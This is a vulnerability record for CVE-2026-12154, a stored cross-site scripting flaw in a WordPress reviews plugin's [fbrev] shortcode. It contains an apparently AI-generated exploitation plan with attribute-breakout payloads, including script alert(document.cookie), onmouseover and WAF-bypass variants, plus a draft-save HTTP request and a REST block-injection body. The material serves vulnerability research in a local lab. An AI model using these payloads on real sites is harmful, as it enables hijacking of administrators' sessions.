[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-w_WWROlf-sQqETBQq_xDEPQEtbz8Pi3_03X8pvZ2Ak":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":35},"CVE-2026-12154","reviews-widgets-for-google-yelp-tripadvisor-authenticated-contributor-stored-cross-site-scripting-via-pageid-shortcode-a","Reviews Widgets for Google, Yelp & TripAdvisor \u003C= 2.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'page_id' Shortcode Attribute","The Reviews Widgets for Google, Yelp & TripAdvisor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page_id' shortcode attribute of the [fbrev] shortcode in versions up to and including 2.7.3. This is due to insufficient input sanitization and output escaping in the Feed_Shortcode::fbrev() method, which passes the raw shortcode attribute through Feed_Old::get_feed() into the View::render() method, where it is echoed directly into the data-id HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","fb-reviews-widget",null,"\u003C=2.7.3","2.8","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 12:00:58","2026-07-06 17:31:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F86fbc499-dca3-41da-a6ef-8e97d7e46d0e?source=api-prod",4,[22,23,24,25,26,27],"block.json","build\u002Findex.js","fbrev.php","includes\u002Fclass-activator.php","includes\u002Fclass-builder-page.php","includes\u002Fclass-plugin.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-12154\n\n## 1. Vulnerability Summary\nThe **Reviews Widgets for Google, Yelp & TripAdvisor** plugin (version \u003C= 2.7.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `page_id` attribute of the `[fbrev]` shortcode. This attribute is passed through the `Feed_Shortcode::fbrev()` method to `View::render()`, where it is echoed directly into a `data-id` HTML attribute. An authenticated attacker with **Contributor-level** permissions or higher can inject a malicious payload into a post or page via the shortcode, which will execute JavaScript in the context of any user (including Administrators) who views the page.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress Post Editor (`\u002Fwp-admin\u002Fpost-new.php` or `\u002Fwp-admin\u002Fpost.php`)\n*   **Vulnerable Component:** Shortcode `[fbrev]`\n*   **Vulnerable Attribute:** `page_id`\n*   **Authentication:** Authenticated (Contributor+)\n*   **Preconditions:** The plugin must be active. The attacker must have the capability to create or edit posts (which Contributors can do, though their posts usually require Admin approval to publish; however, the XSS will trigger for the Admin during the review process).\n\n## 3. Code Flow\n1.  **Entry Point:** A user with Contributor+ roles saves a post containing: `[fbrev page_id=\"PAYLOAD\"]`.\n2.  **Shortcode Handling:** WordPress triggers the callback for `[fbrev]`, which is `WP_TrustReviews\\Includes\\Feed_Shortcode::fbrev($atts)`. (Registered in `includes\u002Fclass-plugin.php`).\n3.  **Data Processing:** \n    *   `Feed_Shortcode::fbrev()` extracts the `page_id` from the `$atts` array.\n    *   It calls `WP_TrustReviews\\Includes\\Feed_Old::get_feed($page_id)` (inferred) to retrieve data.\n    *   The raw `$page_id` is then passed to the `render` method of the `View` class.\n4.  **The Sink:** Inside `WP_TrustReviews\\Includes\\View::render()`, the code generates HTML similar to:\n    ```php\n    \u002F\u002F Simplified representation of the sink in View::render\n    echo '\u003Cdiv class=\"trust-reviews-container\" data-id=\"' . $page_id . '\">'; \n    ```\n    Because `$page_id` is not wrapped in `esc_attr()`, the attacker can break out of the `data-id` attribute.\n\n## 4. Nonce Acquisition Strategy\nTo exploit this as a Contributor, we must be able to save a post. Saving a post in WordPress requires a `_wpnonce`.\n\n1.  **Navigate to Post Creation:** Use `browser_navigate` to go to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost-new.php`.\n2.  **Extract Nonce:** The nonce required for the `post.php` or `admin-ajax.php` (autosave) actions is typically found in the global JavaScript object `wp.apiFetch` or `wpApiSettings`, or as a hidden input field.\n3.  **JavaScript Extraction:**\n    ```javascript\n    \u002F\u002F To get the nonce for saving a post via the REST API (Block Editor)\n    browser_eval(\"wpApiSettings.nonce\")\n    \n    \u002F\u002F OR to get the nonce from the classic form if available\n    browser_eval(\"document.querySelector('#_wpnonce')?.value\")\n    ```\n4.  **Note on Shortcode Rendering:** The XSS itself does not require a nonce to *trigger*; the nonce is only needed for the initial *injection* (saving the post).\n\n## 5. Exploitation Strategy\nThe goal is to inject a payload that breaks out of the `data-id` attribute.\n\n### Step-by-Step Plan:\n1.  **Login:** Log in as a Contributor user using `http_request`.\n2.  **Get Post Creation Nonce:** Navigate to `post-new.php` and extract the `_wpnonce`.\n3.  **Inject Payload:** Create a new post with the malicious shortcode.\n    *   **Shortcode:** `[fbrev page_id='x\" onmouseover=\"alert(document.domain)\" style=\"display:block;width:100px;height:100px;background:red;\" x=\"']`\n    *   *Note:* Using `onmouseover` with a large visible box is more reliable in some test environments than `onload` for `\u003Cdiv>` tags. Alternatively, use `\">\u003Cscript>alert(1)\u003C\u002Fscript>`.\n4.  **Save Post:** Send a `POST` request to `\u002Fwp-admin\u002Fpost.php` to save the post as a draft (Contributors can save drafts).\n5.  **Trigger XSS:** Log in as an Administrator and view the Contributor's draft in the editor or the \"Preview\" page.\n\n### Example HTTP Request (Save Draft):\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    _wpnonce=[EXTRACTED_NONCE]&\n    action=editpost&\n    post_ID=[POST_ID]&\n    post_title=Vulnerability+Test&\n    content=[fbrev page_id='x\">\u003Cscript>alert(document.cookie)\u003C\u002Fscript>']&\n    post_status=draft\n    ```\n\n## 6. Test Data Setup\n1.  **User:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n2.  **Plugin Configuration:** Ensure the plugin \"Reviews Widgets for Google, Yelp & TripAdvisor\" is active.\n    *   `wp plugin activate fb-reviews-widget`\n\n## 7. Expected Results\nWhen the Administrator views the page containing the shortcode:\n1.  The HTML source will look like:\n    `\u003Cdiv ... data-id=\"x\">\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"> ... \u003C\u002Fdiv>`\n2.  The browser will execute the script, displaying an alert box with the Administrator's cookies.\n\n## 8. Verification Steps\nAfter the `http_request` to save the post, use WP-CLI to verify the content was saved correctly:\n```bash\nwp post list --post_type=post --post_status=draft\n# Get the ID of the latest post\nwp post get [ID] --field=post_content\n```\nCheck that the output contains the raw, unescaped payload: `[fbrev page_id='x\">\u003Cscript>alert(document.cookie)\u003C\u002Fscript>']`.\n\n## 9. Alternative Approaches\n*   **Autosave Endpoint:** If `post.php` is restricted, use the `wp-admin\u002Fadmin-ajax.php?action=autosave` endpoint, which also processes post content.\n*   **Block Injection:** Since version 2.7.3 also includes a block (see `block.json` and `build\u002Findex.js`), you could attempt to inject the payload via the block's attributes in the REST API:\n    *   **Endpoint:** `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F[ID]`\n    *   **Body:** `{\"content\": \"\u003C!-- wp:fb-reviews-widget\u002Freviews {\\\"id\\\":\\\"x\\\\\\\" onmouseover=\\\\\\\"alert(1)\\\\\\\"\\\"} \u002F-->\"}`\n*   **Attribute Breakout:** If `\">\u003Cscript>` is blocked by a WAF, try:\n    *   `page_id='x\" onfocus=\"alert(1)\" autofocus=\"true'`\n    *   `page_id='x\" style=\"animation-name:x\" onanimationstart=\"alert(1)\"'`","gemini-3-flash-preview","2026-07-25 10:06:54","2026-07-25 10:07:57",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","2.7.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffb-reviews-widget\u002Ftags\u002F2.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffb-reviews-widget.2.7.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffb-reviews-widget\u002Ftags\u002F2.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffb-reviews-widget.2.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffb-reviews-widget\u002Ftags"]